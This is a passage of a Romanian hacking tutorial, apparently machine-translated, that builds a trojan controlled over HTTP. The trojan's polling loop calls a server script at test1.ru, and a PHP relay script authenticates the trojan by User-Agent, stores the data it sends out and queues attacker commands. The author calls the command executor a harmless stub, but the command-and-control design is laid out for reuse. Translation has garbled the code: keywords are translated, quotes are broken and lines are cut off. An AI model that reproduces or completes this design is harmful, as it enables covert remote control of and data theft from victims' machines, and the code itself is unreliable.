Codul care implementează acest lucru arată astfel:
// cererea este mai întâi goală
solicitați: = ";
// ciclu de lucru troian
în timp ce adevărat
începe
// trimiteți solicitarea de script
dacă (SendStringViaHTTP ('127.0.0.1', 'test1.ru', 80, '/index.php', cerere, răspuns)<>0) atunci
începe
// dacă trimiterea nu a avut succes - așteptați un minut și răsuciți următoarea iterație
somn (1000 * SEC);
continua;
se încheie;
// dacă îl pot trimite - verificați răspunsul
dacă (răspuns = =) atunci
începe
// comenzi de la hacker nu - curat
reques,
// așteptați un minut și răsuciți următoarea iterație
solicitați: = ";
somn (1000 * SEC);
continua;
se încheie;
// daca a venit aici controlul - in raspuns avem o echipa de hackeri
// executați comanda
solicitați: = DoCommand (răspuns);
se încheie;
Aici, răspundeți și solicitați variabile globale de tip AnsiString. Răspunsul este următoarea comandă a hackerului, pe care scriptul l-a trimis. Comanda este realizată de DoCommand (vom vorbi puțin despre asta
mai târziu). Aceeași funcție returnează rezultatele executării comenzii, care sunt introduse în cerere și transferate imediat în script. Dacă nu există comenzi din scenariu, troianul "adoarme" pentru SEC secunde și apoi trimite din nou o solicitare la scenariu.
Acum, despre funcția DoCommand și despre comenzile în sine. Ce să nu facem din exemplul nostru de un troian adevărat (Marea Britanie este încă în lucru)), pe orice comandă trecută de hacker, troianul va răspunde cu text ca:
06/23/05 1:30:14] Comanda pentru a executa este: dir
Rezultatul performanței:
Troianul nu este real;), deci în loc de rezultatul comenzii, dir imprimă acest text! ;))
Astfel, troianul nostru nu execută nici o comandă, ci doar spune când și ce
comanda primită de la script. După cum puteți vedea, totul este complet civilizat - un program inofensiv demonstrează principiul;)))
// funcția execută comanda și
returnează rezultatul executării
funcția DoCommand (com: AnsiString): AnsiString;
var
systime: SYSTEMTIME;
începe
// verificați dacă există vreo comandă
dacă com = "atunci
începe
// nu - returnează un șir gol
Rezultat: = ";
ieșire;
se încheie;
// dacă a venit controlul aici, atunci comanda este
// fixați timpul pentru executarea comenzii
Rezultat: = StringOfChar ('', 8 + 1 + 8); // 8 până la Zilele Zilei, 1 la spațiu, 8 la HH: mm: ss
GetLocalTime (systime);
GetDateFormat (0, 0, @ systime, 'dd.MM.yy', @Result [1], 8);
GetTimeFormat (0, 0, @ systime, 'HH: mm: ss', @ Rezultat [10], 8);
// fixați comanda care a venit la execuție
Rezultat: = Rezultat + '] Se acceptă următoarea comandă: '+ Comm +'
„;
// mesaj despre rezultat:
Rezultat: = Rezultat + 'Rezultat execuție:
„;
// dacă a fost un troian real, apoi transferat
// și vom adăuga rezultatul executării sale până la final
rezultat,
// dar din moment ce acesta este doar un exemplu, vom adăuga doar acest text:
Rezultat: = Rezultatul + 'Troianul nu este real;), deci în loc de rezultatul' +
"Execuție comandă '+ Comm +' afișează acest text! ;))
„;
se încheie;
Cred că nu este necesară nici o explicație suplimentară pentru cod. Ufff ... cu troianul, părem
a dat seama. Să trecem acum la scriptul de mediator.
Scriptul intermediar este scris în PHP. Mai intai, gazduirea gratuita cu PHP nu reprezinta o problema. În al doilea rând, PHP este similar cu C ++, care în sine nu se poate decât să se bucure 😉
Mai intai, scriptul ar trebui sa stie parola troianului, asa ca la inceputul scriptului vom defini o variabila:
$ TROJAN_PSW = '<тут пароль трояна>„;
La fiecare solicitare, scriptul ar trebui să verifice dacă a atins-o sau nu. Priviți doar câmpul Antet utilizator-Agent:
dacă ($ _ SERVER ['HTTP_USER_AGENT'] == $ TROJAN_PSW) // cererea este trimisă de troian - o procesăm!
... ... ...
>;
În timp ce procesăm cererea Troianului, mai întâi vom vedea dacă a trimis orice date. Pentru a face acest lucru, verificăm dacă
script parametrii de date. Dacă datele sunt transmise și acesta nu este un șir gol, îl vom adăuga la sfârșitul fișierului trojan.txt. Când scriptul procesează solicitarea hacker-ului, acesta îi va da conținutul fișierului trojan.txt prin intermediul interfeței web.
dacă (isset ($ _ POST ['data'])) // este datele!
$ date = $ _POST ['date'];
dacă ($ data! = ") // linia din $ date nu este goală - o vom adăuga
în
// fișierul trojan.txt
$ f = fopen ('trojan.txt', 'a +');
fwrite ($ f, $ date.)
„);
fclose ($ f);
>;
>;
Apoi, trebuie să transferăm troianul în altul
comanda de la hacker. Comenzile pe care hacker-ul le trimite script-ului sunt stocate în fișierul text hacker.txt. Prin urmare, mai întâi verificăm dacă fișierul hacker.txt există deloc:
dacă (file_exists ('hacker.txt')) // fișierul există - lucrăm cu el
... ... ...
>;
Fiecare linie a fișierului hacker.txt conține o comandă. Acest lucru este foarte convenabil, pentru că trebuie să dăm troianului o singură comandă la cerere. Și în aceeași ordine, în care hackerul a trimis aceste comenzi la scenariu.
Acest lucru este valabil. Mai întâi, am citit fișierul într-o matrice $ a:
// fiecare linie a fișierului devine un element al matricei
$ a = fișier ("hacker.txt");
Apoi verificăm dacă matricea este goală - după ce toate fișierele hacker.txt pot exista, dar să fie goale. Dacă matricea nu este goală, luăm din ea primul element (mai degrabă elementul zero - prima comandă din fișierul hacker.txt). Înainte de a da comanda scriptului, îl "curățăm": elimină bytes 0x0D, 0x0A (funcții addcslashes și replace) și spații la început și la sfârșit (funcția trim). Apoi vom da comanda "curat" troianului si vom inlatura hacker.txt:
dacă {count ($ a)> 0) se imprimă trim (str_replace ('\ r', ', str_replace (' );
unlink ('hacker.txt');
>;
Dacă comanda trecută de noi a fost singura, o vom lăsa ca atare - dacă este necesar, scriptul va crea din nou fișierul hacker.txt. Dacă ar exista și alte comenzi decât hacker.txt, vom crea din nou acest fișier și le vom scrie acolo - dar fără prima, pentru că a fost dată scenariului:
// există alte comenzi?
dacă (numără ($ a)> 1) // da! - scrieți-le înapoi la hacker.txt
$ f = fopen ('hacker.txt', 'w');
pentru ($ i = 1; $ i
fclose ($ f);
>;
Pe această lucrare cu troianul este finalizată - trimiteți-i linia "